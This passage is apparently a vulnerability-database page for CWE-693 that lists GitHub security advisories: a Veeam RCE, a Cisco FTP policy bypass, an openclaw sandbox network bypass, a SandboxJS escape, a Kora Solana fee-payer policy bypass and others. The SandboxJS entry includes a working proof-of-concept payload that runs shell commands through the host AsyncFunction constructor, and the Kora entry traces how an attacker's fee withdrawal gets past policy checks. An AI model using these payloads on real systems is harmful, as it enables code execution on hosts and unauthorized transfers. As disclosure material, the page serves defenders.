CWE-693
DiscouragedProtection Mechanism Failure
Abstraction: Pillar · Status: Draft
The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.
977 vulnerabilities reference this CWE, most recent first.
GHSA-WRRF-7989-MVP7
Vulnerability from github – Published: 2026-03-12 15:30 – Updated: 2026-03-12 15:30A vulnerability allowing an authenticated domain user to perform remote code execution (RCE) on the Backup Server.
{
"affected": [],
"aliases": [
"CVE-2026-21669"
],
"database_specific": {
"cwe_ids": [
"CWE-693",
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-12T15:16:13Z",
"severity": "CRITICAL"
},
"details": "A vulnerability allowing an authenticated domain user to perform remote code execution (RCE) on the Backup Server.",
"id": "GHSA-wrrf-7989-mvp7",
"modified": "2026-03-12T15:30:26Z",
"published": "2026-03-12T15:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21669"
},
{
"type": "WEB",
"url": "https://www.veeam.com/kb4831"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WV8R-XV2M-HGRW
Vulnerability from github – Published: 2022-05-13 01:35 – Updated: 2022-05-13 01:35A vulnerability in the detection engine of Cisco FireSIGHT System Software could allow an unauthenticated, remote attacker to bypass a file policy that is configured to block the transfer of files to an affected system via FTP. The vulnerability exists because the affected software incorrectly handles FTP control connections. An attacker could exploit this vulnerability by sending a maliciously crafted FTP connection to transfer a file to an affected device. A successful exploit could allow the attacker to bypass a file policy that is configured to apply the Block upload with reset action to FTP traffic. Cisco Bug IDs: CSCvh70130.
{
"affected": [],
"aliases": [
"CVE-2018-0383"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-07-16T17:29:00Z",
"severity": "HIGH"
},
"details": "A vulnerability in the detection engine of Cisco FireSIGHT System Software could allow an unauthenticated, remote attacker to bypass a file policy that is configured to block the transfer of files to an affected system via FTP. The vulnerability exists because the affected software incorrectly handles FTP control connections. An attacker could exploit this vulnerability by sending a maliciously crafted FTP connection to transfer a file to an affected device. A successful exploit could allow the attacker to bypass a file policy that is configured to apply the Block upload with reset action to FTP traffic. Cisco Bug IDs: CSCvh70130.",
"id": "GHSA-wv8r-xv2m-hgrw",
"modified": "2022-05-13T01:35:16Z",
"published": "2022-05-13T01:35:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-0383"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180711-firesight-file-bypass"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/104726"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1041283"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WW6V-V748-X7G9
Vulnerability from github – Published: 2026-03-02 23:37 – Updated: 2026-03-25 20:25Summary
In openclaw@2026.2.23, sandbox network hardening blocks network=host but still allows network=container:<id>.
This can let a sandbox join another container's network namespace and reach services available in that namespace.
Preconditions and Trust Model Context
This issue requires a trusted-operator configuration path (for example setting agents.defaults.sandbox.docker.network in gateway config). It is not an unauthenticated remote exploit by itself.
Details
Current validation blocks only host, while forwarding other values to Docker create args:
validateNetworkMode(network)only rejects values inBLOCKED_NETWORK_MODES = {"host"}.buildSandboxCreateArgs(...)validates then forwardscfg.networkinto--network.- Browser sandbox helper also treats
container:as an accepted mode in network preparation.
Effective behavior:
host-> blockedcontainer:<id>-> accepted and forwarded
Impact
Type: sandbox network isolation hardening bypass.
Practical impact depends on deployment:
- Requires ability to influence trusted sandbox network config.
- Higher impact when a target container exposes privileged/internal network reachability.
Remediation
Block namespace-join style network modes (including container:<id>) for sandbox containers, and keep strict allowlisting for safe network modes.
Patch Status
Fixed on main in commit 14b6eea6e:
https://github.com/openclaw/openclaw/commit/14b6eea6e
Follow-up refactor/cleanup (no policy rollback): https://github.com/openclaw/openclaw/commit/5552f9073
Publication Update (2026-02-25)
openclaw@2026.2.24 is published on npm and contains the fix commit(s) listed above. This advisory now marks >= 2026.2.24 as patched.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2026.2.23"
},
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.2.24"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32038"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-02T23:37:46Z",
"nvd_published_at": "2026-03-19T22:16:39Z",
"severity": "MODERATE"
},
"details": "### Summary\nIn `openclaw@2026.2.23`, sandbox network hardening blocks `network=host` but still allows `network=container:\u003cid\u003e`.\n\nThis can let a sandbox join another container\u0027s network namespace and reach services available in that namespace.\n\n### Preconditions and Trust Model Context\nThis issue requires a trusted-operator configuration path (for example setting `agents.defaults.sandbox.docker.network` in gateway config). It is not an unauthenticated remote exploit by itself.\n\n### Details\nCurrent validation blocks only `host`, while forwarding other values to Docker create args:\n\n- `validateNetworkMode(network)` only rejects values in `BLOCKED_NETWORK_MODES = {\"host\"}`.\n- `buildSandboxCreateArgs(...)` validates then forwards `cfg.network` into `--network`.\n- Browser sandbox helper also treats `container:` as an accepted mode in network preparation.\n\nEffective behavior:\n\n- `host` -\u003e blocked\n- `container:\u003cid\u003e` -\u003e accepted and forwarded\n\n### Impact\nType: sandbox network isolation hardening bypass.\n\nPractical impact depends on deployment:\n\n- Requires ability to influence trusted sandbox network config.\n- Higher impact when a target container exposes privileged/internal network reachability.\n\n### Remediation\nBlock namespace-join style network modes (including `container:\u003cid\u003e`) for sandbox containers, and keep strict allowlisting for safe network modes.\n\n\n### Patch Status\nFixed on `main` in commit `14b6eea6e`:\nhttps://github.com/openclaw/openclaw/commit/14b6eea6e\n\nFollow-up refactor/cleanup (no policy rollback):\nhttps://github.com/openclaw/openclaw/commit/5552f9073\n\n\n### Publication Update (2026-02-25)\n`openclaw@2026.2.24` is published on npm and contains the fix commit(s) listed above. This advisory now marks `\u003e= 2026.2.24` as patched.",
"id": "GHSA-ww6v-v748-x7g9",
"modified": "2026-03-25T20:25:50Z",
"published": "2026-03-02T23:37:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-ww6v-v748-x7g9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32038"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/14b6eea6e"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/5552f9073"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-sandbox-network-isolation-bypass-via-docker-network-container-parameter"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw has a sandbox network isolation bypass via docker.network=container:\u003cid\u003e"
}
GHSA-WWQR-WGWC-GJ85
Vulnerability from github – Published: 2024-02-13 18:38 – Updated: 2024-02-13 18:38Microsoft Office Remote Code Execution Vulnerability
{
"affected": [],
"aliases": [
"CVE-2024-20673"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-13T18:15:47Z",
"severity": "HIGH"
},
"details": "Microsoft Office Remote Code Execution Vulnerability",
"id": "GHSA-wwqr-wgwc-gj85",
"modified": "2024-02-13T18:38:23Z",
"published": "2024-02-13T18:38:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-20673"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-20673"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WX63-35HW-2482
Vulnerability from github – Published: 2025-12-09 17:17 – Updated: 2025-12-10 15:46A vulnerability in mad-proxy versions <= 0.3 allows attackers to bypass HTTP/HTTPS traffic interception rules, potentially exposing sensitive traffic.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "mad-proxy"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-67485"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-09T17:17:48Z",
"nvd_published_at": "2025-12-10T01:15:52Z",
"severity": "MODERATE"
},
"details": "A vulnerability in mad-proxy versions \u003c= 0.3 allows attackers to bypass HTTP/HTTPS traffic interception rules, potentially exposing sensitive traffic.",
"id": "GHSA-wx63-35hw-2482",
"modified": "2025-12-10T15:46:54Z",
"published": "2025-12-09T17:17:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/machphy/mad-proxy/security/advisories/GHSA-wx63-35hw-2482"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67485"
},
{
"type": "PACKAGE",
"url": "https://github.com/machphy/mad-proxy"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "HTTP/HTTPS Traffic Interception Bypass in mad-proxy"
}
GHSA-WX7C-5G9F-68R4
Vulnerability from github – Published: 2026-07-01 00:34 – Updated: 2026-07-01 15:35Inappropriate implementation in Network in Google Chrome prior to 150.0.7871.47 allowed an attacker in a privileged network position to bypass content security policy via malicious network traffic. (Chromium security severity: Medium)
{
"affected": [],
"aliases": [
"CVE-2026-13876"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-30T23:17:01Z",
"severity": "MODERATE"
},
"details": "Inappropriate implementation in Network in Google Chrome prior to 150.0.7871.47 allowed an attacker in a privileged network position to bypass content security policy via malicious network traffic. (Chromium security severity: Medium)",
"id": "GHSA-wx7c-5g9f-68r4",
"modified": "2026-07-01T15:35:02Z",
"published": "2026-07-01T00:34:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-13876"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/06/stable-channel-update-for-desktop_0175352312.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/498722200"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WXHW-J4HC-FMQ6
Vulnerability from github – Published: 2026-01-27 19:55 – Updated: 2026-01-29 03:43Summary
A sandbox escape vulnerability due to AsyncFunction not being isolated in SandboxFunction
Details
The library attempts to sandbox code execution by replacing the global Function constructor with a safe, sandboxed version (SandboxFunction). This is handled in utils.ts by mapping Function to sandboxFunction within a map used for lookups.
However, the library did not include mappings for AsyncFunction, GeneratorFunction, and AsyncGeneratorFunction. These constructors are not global properties but can be accessed via the .constructor property of an instance (e.g., (async () => {}).constructor).
In executor.ts, property access is handled. When code running inside the sandbox accesses .constructor on an async function (which the sandbox allows creating), the executor retrieves the property value. Since AsyncFunction was not in the safe-replacement map, the executor returns the actual native host AsyncFunction constructor.
Constructors for functions in JavaScript (like Function, AsyncFunction) create functions that execute in the global scope. By obtaining the host AsyncFunction constructor, an attacker can create a new async function that executes entirely outside the sandbox context, bypassing all restrictions and gaining full access to the host environment (Remote Code Execution).
PoC
const sandbox = require('@nyariv/sandboxjs');
const s = new sandbox.default();
const payload = `
const af = async () => {};
// .constructor returns the host AsyncFunction constructor because it's not intercepted
const AsyncConstructor = af.constructor;
console.log("AsyncConstructor name:", AsyncConstructor.name);
// Create a function that executes outside the sandbox
const func = AsyncConstructor("return process.mainModule.require('child_process').execSync('id').toString()");
// Execute RCE
const p = func();
p.then(proc => {
console.log(proc);
});
`;
try {
s.compile(payload)().run();
} catch (e) {
console.error("Bypass failed:", e.message);
}
Run above script in nodejs. If you run it in browser, change the AsyncConstructor argument by returning window object.
Impact
A Remote Code Execution, attacker may be able to run an arbitrary code.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@nyariv/sandboxjs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.8.26"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-23830"
],
"database_specific": {
"cwe_ids": [
"CWE-693",
"CWE-913",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-27T19:55:11Z",
"nvd_published_at": "2026-01-28T00:15:50Z",
"severity": "CRITICAL"
},
"details": "### Summary\nA sandbox escape vulnerability due to `AsyncFunction` not being isolated in `SandboxFunction`\n\n### Details\n\nThe library attempts to sandbox code execution by replacing the global `Function` constructor with a safe, sandboxed version (`SandboxFunction`). This is handled in `utils.ts` by mapping `Function` to `sandboxFunction` within a map used for lookups.\n\nHowever, the library did not include mappings for `AsyncFunction`, `GeneratorFunction`, and `AsyncGeneratorFunction`. These constructors are not global properties but can be accessed via the `.constructor` property of an instance (e.g., `(async () =\u003e {}).constructor`).\n\nIn `executor.ts`, property access is handled. When code running inside the sandbox accesses `.constructor` on an async function (which the sandbox allows creating), the `executor` retrieves the property value. Since `AsyncFunction` was not in the safe-replacement map, the `executor` returns the actual native host `AsyncFunction` constructor.\n\nConstructors for functions in JavaScript (like `Function`, `AsyncFunction`) create functions that execute in the global scope. By obtaining the host `AsyncFunction` constructor, an attacker can create a new async function that executes entirely outside the sandbox context, bypassing all restrictions and gaining full access to the host environment (Remote Code Execution).\n\n### PoC\n\n```js\nconst sandbox = require(\u0027@nyariv/sandboxjs\u0027);\nconst s = new sandbox.default();\n\nconst payload = `\n const af = async () =\u003e {};\n // .constructor returns the host AsyncFunction constructor because it\u0027s not intercepted\n const AsyncConstructor = af.constructor;\n console.log(\"AsyncConstructor name:\", AsyncConstructor.name);\n \n // Create a function that executes outside the sandbox\n const func = AsyncConstructor(\"return process.mainModule.require(\u0027child_process\u0027).execSync(\u0027id\u0027).toString()\");\n \n // Execute RCE\n const p = func();\n p.then(proc =\u003e {\n console.log(proc);\n });\n`;\n\ntry {\n s.compile(payload)().run();\n} catch (e) {\n console.error(\"Bypass failed:\", e.message);\n}\n```\n\nRun above script in nodejs. If you run it in browser, change the `AsyncConstructor` argument by returning `window` object. \n\n### Impact\n\nA Remote Code Execution, attacker may be able to run an arbitrary code.",
"id": "GHSA-wxhw-j4hc-fmq6",
"modified": "2026-01-29T03:43:42Z",
"published": "2026-01-27T19:55:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-wxhw-j4hc-fmq6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23830"
},
{
"type": "WEB",
"url": "https://github.com/nyariv/SandboxJS/commit/345aee6566e47979dee5c337b925b141e7f78ccd"
},
{
"type": "PACKAGE",
"url": "https://github.com/nyariv/SandboxJS"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "SandboxJS has Sandbox Escape via Unprotected AsyncFunction Constructor"
}
GHSA-X442-M7CC-HR92
Vulnerability from github – Published: 2026-03-12 14:50 – Updated: 2026-03-12 14:50Summary
When inner CPI instructions use instruction types not recognized by Kora's parser (including Token-2022 extension instructions like ConfidentialTransfer, TransferFeeExtension::WithdrawWithheldTokens, etc.), they are reconstructed as stub instructions with empty accounts and empty data. These stubs fail deserialization during fee payer policy validation and are silently skipped, meaning any fee payer usage within those instructions goes completely unchecked.
Severity
Medium
Affected Component
- File:
crates/lib/src/transaction/instruction_util.rs - Functions:
reconstruct_system_instruction(),reconstruct_spl_token_instruction() - Lines: 750–753, 1187–1189
Root Cause
The instruction reconstruction functions have a catch-all _ => arm for unrecognized instruction types that creates a stub CompiledInstruction with the correct program_id_index but empty accounts and empty data. When this stub reaches the fee payer policy parsing (parse_system_instructions / parse_token_instructions), deserialization of empty data fails. The parsing functions also have a catch-all _ => {} that silently skips the failed instruction. The result: the instruction exists in all_instructions (so program allowlist checks pass), but fee payer policy is never enforced on it.
Vulnerable Code
Stub Creation
// crates/lib/src/transaction/instruction_util.rs:750-753
// System program — unrecognized instruction type:
_ => {
log::error!("Unsupported system instruction type: {}", instruction_type);
Ok(Self::build_default_compiled_instruction(program_id_index))
}
// crates/lib/src/transaction/instruction_util.rs:1187-1189
// SPL Token program — unrecognized instruction type:
_ => {
log::error!("Unsupported token instruction type: {}", instruction_type);
Ok(Self::build_default_compiled_instruction(program_id_index))
}
The stub builder:
pub fn build_default_compiled_instruction(program_id_index: u8) -> CompiledInstruction {
CompiledInstruction {
program_id_index,
accounts: vec![], // <-- No accounts
data: vec![], // <-- No data
}
}
Silent Skip During Policy Parsing
// In parse_system_instructions:
if let Ok(system_instruction) = bincode::deserialize::<SystemInstruction>(&instruction.data) {
match system_instruction {
// ... known types handled ...
_ => {} // <-- Unrecognized: silently skipped
}
}
// If deserialize fails (empty data), the entire `if let Ok` block is skipped.
// The instruction is not added to any policy check map.
// In parse_token_instructions:
if let Ok(token_instruction) = TokenInstruction::unpack(&instruction.data) {
match token_instruction {
// ... known types handled ...
_ => {} // <-- Unrecognized: silently skipped
}
}
// Same: empty data causes unpack to fail, instruction completely invisible to policy.
Proof of Concept
Affected Token-2022 Extension Instructions
The following Token-2022 extension instruction types are NOT handled by Kora's parser and would produce empty stubs:
| Extension | Instruction | Risk if Fee Payer is Authority |
|---|---|---|
TransferFeeExtension |
WithdrawWithheldTokensFromMint |
Fee payer as withdraw authority can drain withheld fees |
TransferFeeExtension |
WithdrawWithheldTokensFromAccounts |
Same |
TransferFeeExtension |
HarvestWithheldTokensToMint |
Fee collection manipulation |
ConfidentialTransfer |
Transfer |
Hidden transfer amounts bypass fee tracking |
ConfidentialTransfer |
Withdraw |
Hidden withdrawals |
InterestBearingMint |
UpdateRate |
Fee payer as rate authority can manipulate interest |
TransferHook |
Execute |
Arbitrary hook execution |
GroupMemberPointer |
Update |
Metadata manipulation |
MetadataPointer |
Update |
Metadata manipulation |
PermanentDelegate |
Transfer (via delegate) |
Delegate-based unauthorized transfers |
Code Path Trace
1. Transaction contains an inner CPI instruction:
Program: Token-2022
Type: "withdrawWithheldTokensFromMint" (TransferFeeExtension)
Accounts: [fee_payer (as withdraw_withheld_authority), mint, destination]
2. RPC returns this as a Parsed inner instruction
3. reconstruct_spl_token_instruction() is called:
- instruction_type = "withdrawWithheldTokensFromMint"
- No match in the known types (transfer, transferChecked, burn, etc.)
- Falls through to _ => arm
- Returns: CompiledInstruction { program_id_index, accounts: [], data: [] }
4. Stub is added to all_instructions
→ validate_programs() sees Token-2022 program ID → PASS (allowed)
→ validate_disallowed_accounts() sees no accounts in the stub → PASS
5. parse_token_instructions() processes the stub:
- TokenInstruction::unpack(&[]) → Err (empty data)
- if let Ok(...) block skipped entirely
- Instruction not added to any ParsedSPLInstructionType map
6. validate_fee_payer_usage() iterates parsed SPL instructions:
- No entry for "withdrawWithheldTokensFromMint"
- Fee payer's usage as withdraw_withheld_authority is NEVER checked
7. Transaction is signed by Kora
8. On-chain: fee_payer (as withdraw authority) withdraws withheld
transfer fees from the mint to attacker's account
Verifiable Test
#[test]
fn test_unrecognized_instruction_produces_empty_stub() {
// Simulate what happens for an unrecognized Token-2022 instruction
let program_id_index: u8 = 3; // Token-2022 at index 3
// This is what the catch-all arm produces:
let stub = IxUtils::build_default_compiled_instruction(program_id_index);
assert_eq!(stub.accounts.len(), 0); // No accounts
assert_eq!(stub.data.len(), 0); // No data
// Attempt to parse it:
let result = TokenInstruction::unpack(&stub.data);
assert!(result.is_err()); // Cannot parse empty data
// Therefore: fee payer policy is never applied to this instruction
// The fee payer could be the withdraw_withheld_authority in the
// REAL instruction, but the stub has zero accounts — invisible.
}
Impact
- Fee Payer Policy Bypass: Token-2022 extension instructions that use the fee payer as an authority are invisible to policy enforcement.
- Forward-Looking Risk: As Solana and SPL Token-2022 add new instruction types, they will automatically bypass all fee payer policy checks in Kora.
- Precondition: Requires the fee payer to hold some authority role (e.g.,
withdraw_withheld_authority,permanent_delegate) for Token-2022 accounts. This is unlikely in typical deployments but possible in misconfigured setups.
Recommendation
Reject transactions containing inner instructions with unrecognized types (fail-secure):
// In reconstruct_system_instruction:
_ => {
return Err(KoraError::InvalidTransaction(format!(
"Unrecognized system instruction type '{}' in CPI — \
cannot validate fee payer policy. Transaction rejected.",
instruction_type
)));
}
// In reconstruct_spl_token_instruction:
_ => {
return Err(KoraError::InvalidTransaction(format!(
"Unrecognized SPL Token instruction type '{}' in CPI — \
cannot validate fee payer policy. Transaction rejected.",
instruction_type
)));
}
Alternatively, maintain a list of known-safe instruction types that don't involve authority checks, and only reject truly unknown types.
References
crates/lib/src/transaction/instruction_util.rs:750-753— system instruction catch-allcrates/lib/src/transaction/instruction_util.rs:1187-1189— SPL token instruction catch-allcrates/lib/src/transaction/instruction_util.rs:316-319—build_default_compiled_instruction- SPL Token-2022 instruction types — full list of extension instructions
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "kora-lib"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-12T14:50:39Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nWhen inner CPI instructions use instruction types not recognized by Kora\u0027s parser (including Token-2022 extension instructions like `ConfidentialTransfer`, `TransferFeeExtension::WithdrawWithheldTokens`, etc.), they are reconstructed as stub instructions with empty accounts and empty data. These stubs fail deserialization during fee payer policy validation and are silently skipped, meaning any fee payer usage within those instructions goes completely unchecked.\n\n## Severity\n\n**Medium**\n\n## Affected Component\n\n- **File:** `crates/lib/src/transaction/instruction_util.rs`\n- **Functions:** `reconstruct_system_instruction()`, `reconstruct_spl_token_instruction()`\n- **Lines:** 750\u2013753, 1187\u20131189\n\n## Root Cause\n\nThe instruction reconstruction functions have a catch-all `_ =\u003e` arm for unrecognized instruction types that creates a stub `CompiledInstruction` with the correct `program_id_index` but **empty `accounts` and empty `data`**. When this stub reaches the fee payer policy parsing (`parse_system_instructions` / `parse_token_instructions`), deserialization of empty data fails. The parsing functions also have a catch-all `_ =\u003e {}` that silently skips the failed instruction. The result: the instruction exists in `all_instructions` (so program allowlist checks pass), but fee payer policy is never enforced on it.\n\n## Vulnerable Code\n\n### Stub Creation\n\n```rust\n// crates/lib/src/transaction/instruction_util.rs:750-753\n// System program \u2014 unrecognized instruction type:\n_ =\u003e {\n log::error!(\"Unsupported system instruction type: {}\", instruction_type);\n Ok(Self::build_default_compiled_instruction(program_id_index))\n}\n\n// crates/lib/src/transaction/instruction_util.rs:1187-1189\n// SPL Token program \u2014 unrecognized instruction type:\n_ =\u003e {\n log::error!(\"Unsupported token instruction type: {}\", instruction_type);\n Ok(Self::build_default_compiled_instruction(program_id_index))\n}\n```\n\nThe stub builder:\n```rust\npub fn build_default_compiled_instruction(program_id_index: u8) -\u003e CompiledInstruction {\n CompiledInstruction {\n program_id_index,\n accounts: vec![], // \u003c-- No accounts\n data: vec![], // \u003c-- No data\n }\n}\n```\n\n### Silent Skip During Policy Parsing\n\n```rust\n// In parse_system_instructions:\nif let Ok(system_instruction) = bincode::deserialize::\u003cSystemInstruction\u003e(\u0026instruction.data) {\n match system_instruction {\n // ... known types handled ...\n _ =\u003e {} // \u003c-- Unrecognized: silently skipped\n }\n}\n// If deserialize fails (empty data), the entire `if let Ok` block is skipped.\n// The instruction is not added to any policy check map.\n\n// In parse_token_instructions:\nif let Ok(token_instruction) = TokenInstruction::unpack(\u0026instruction.data) {\n match token_instruction {\n // ... known types handled ...\n _ =\u003e {} // \u003c-- Unrecognized: silently skipped\n }\n}\n// Same: empty data causes unpack to fail, instruction completely invisible to policy.\n```\n\n## Proof of Concept\n\n### Affected Token-2022 Extension Instructions\n\nThe following Token-2022 extension instruction types are NOT handled by Kora\u0027s parser and would produce empty stubs:\n\n| Extension | Instruction | Risk if Fee Payer is Authority |\n|-----------|------------|-------------------------------|\n| `TransferFeeExtension` | `WithdrawWithheldTokensFromMint` | Fee payer as withdraw authority can drain withheld fees |\n| `TransferFeeExtension` | `WithdrawWithheldTokensFromAccounts` | Same |\n| `TransferFeeExtension` | `HarvestWithheldTokensToMint` | Fee collection manipulation |\n| `ConfidentialTransfer` | `Transfer` | Hidden transfer amounts bypass fee tracking |\n| `ConfidentialTransfer` | `Withdraw` | Hidden withdrawals |\n| `InterestBearingMint` | `UpdateRate` | Fee payer as rate authority can manipulate interest |\n| `TransferHook` | `Execute` | Arbitrary hook execution |\n| `GroupMemberPointer` | `Update` | Metadata manipulation |\n| `MetadataPointer` | `Update` | Metadata manipulation |\n| `PermanentDelegate` | `Transfer` (via delegate) | Delegate-based unauthorized transfers |\n\n### Code Path Trace\n\n```\n1. Transaction contains an inner CPI instruction:\n Program: Token-2022\n Type: \"withdrawWithheldTokensFromMint\" (TransferFeeExtension)\n Accounts: [fee_payer (as withdraw_withheld_authority), mint, destination]\n\n2. RPC returns this as a Parsed inner instruction\n\n3. reconstruct_spl_token_instruction() is called:\n - instruction_type = \"withdrawWithheldTokensFromMint\"\n - No match in the known types (transfer, transferChecked, burn, etc.)\n - Falls through to _ =\u003e arm\n - Returns: CompiledInstruction { program_id_index, accounts: [], data: [] }\n\n4. Stub is added to all_instructions\n \u2192 validate_programs() sees Token-2022 program ID \u2192 PASS (allowed)\n \u2192 validate_disallowed_accounts() sees no accounts in the stub \u2192 PASS\n\n5. parse_token_instructions() processes the stub:\n - TokenInstruction::unpack(\u0026[]) \u2192 Err (empty data)\n - if let Ok(...) block skipped entirely\n - Instruction not added to any ParsedSPLInstructionType map\n\n6. validate_fee_payer_usage() iterates parsed SPL instructions:\n - No entry for \"withdrawWithheldTokensFromMint\"\n - Fee payer\u0027s usage as withdraw_withheld_authority is NEVER checked\n\n7. Transaction is signed by Kora\n\n8. On-chain: fee_payer (as withdraw authority) withdraws withheld\n transfer fees from the mint to attacker\u0027s account\n```\n\n### Verifiable Test\n\n```rust\n#[test]\nfn test_unrecognized_instruction_produces_empty_stub() {\n // Simulate what happens for an unrecognized Token-2022 instruction\n let program_id_index: u8 = 3; // Token-2022 at index 3\n\n // This is what the catch-all arm produces:\n let stub = IxUtils::build_default_compiled_instruction(program_id_index);\n\n assert_eq!(stub.accounts.len(), 0); // No accounts\n assert_eq!(stub.data.len(), 0); // No data\n\n // Attempt to parse it:\n let result = TokenInstruction::unpack(\u0026stub.data);\n assert!(result.is_err()); // Cannot parse empty data\n\n // Therefore: fee payer policy is never applied to this instruction\n // The fee payer could be the withdraw_withheld_authority in the\n // REAL instruction, but the stub has zero accounts \u2014 invisible.\n}\n```\n\n## Impact\n\n- **Fee Payer Policy Bypass:** Token-2022 extension instructions that use the fee payer as an authority are invisible to policy enforcement.\n- **Forward-Looking Risk:** As Solana and SPL Token-2022 add new instruction types, they will automatically bypass all fee payer policy checks in Kora.\n- **Precondition:** Requires the fee payer to hold some authority role (e.g., `withdraw_withheld_authority`, `permanent_delegate`) for Token-2022 accounts. This is unlikely in typical deployments but possible in misconfigured setups.\n\n## Recommendation\n\nReject transactions containing inner instructions with unrecognized types (fail-secure):\n\n```rust\n// In reconstruct_system_instruction:\n_ =\u003e {\n return Err(KoraError::InvalidTransaction(format!(\n \"Unrecognized system instruction type \u0027{}\u0027 in CPI \u2014 \\\n cannot validate fee payer policy. Transaction rejected.\",\n instruction_type\n )));\n}\n\n// In reconstruct_spl_token_instruction:\n_ =\u003e {\n return Err(KoraError::InvalidTransaction(format!(\n \"Unrecognized SPL Token instruction type \u0027{}\u0027 in CPI \u2014 \\\n cannot validate fee payer policy. Transaction rejected.\",\n instruction_type\n )));\n}\n```\n\nAlternatively, maintain a list of known-safe instruction types that don\u0027t involve authority checks, and only reject truly unknown types.\n\n## References\n\n- `crates/lib/src/transaction/instruction_util.rs:750-753` \u2014 system instruction catch-all\n- `crates/lib/src/transaction/instruction_util.rs:1187-1189` \u2014 SPL token instruction catch-all\n- `crates/lib/src/transaction/instruction_util.rs:316-319` \u2014 `build_default_compiled_instruction`\n- [SPL Token-2022 instruction types](https://github.com/solana-labs/solana-program-library/tree/master/token/program-2022/src/extension) \u2014 full list of extension instructions",
"id": "GHSA-x442-m7cc-hr92",
"modified": "2026-03-12T14:50:39Z",
"published": "2026-03-12T14:50:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/solana-foundation/kora/security/advisories/GHSA-x442-m7cc-hr92"
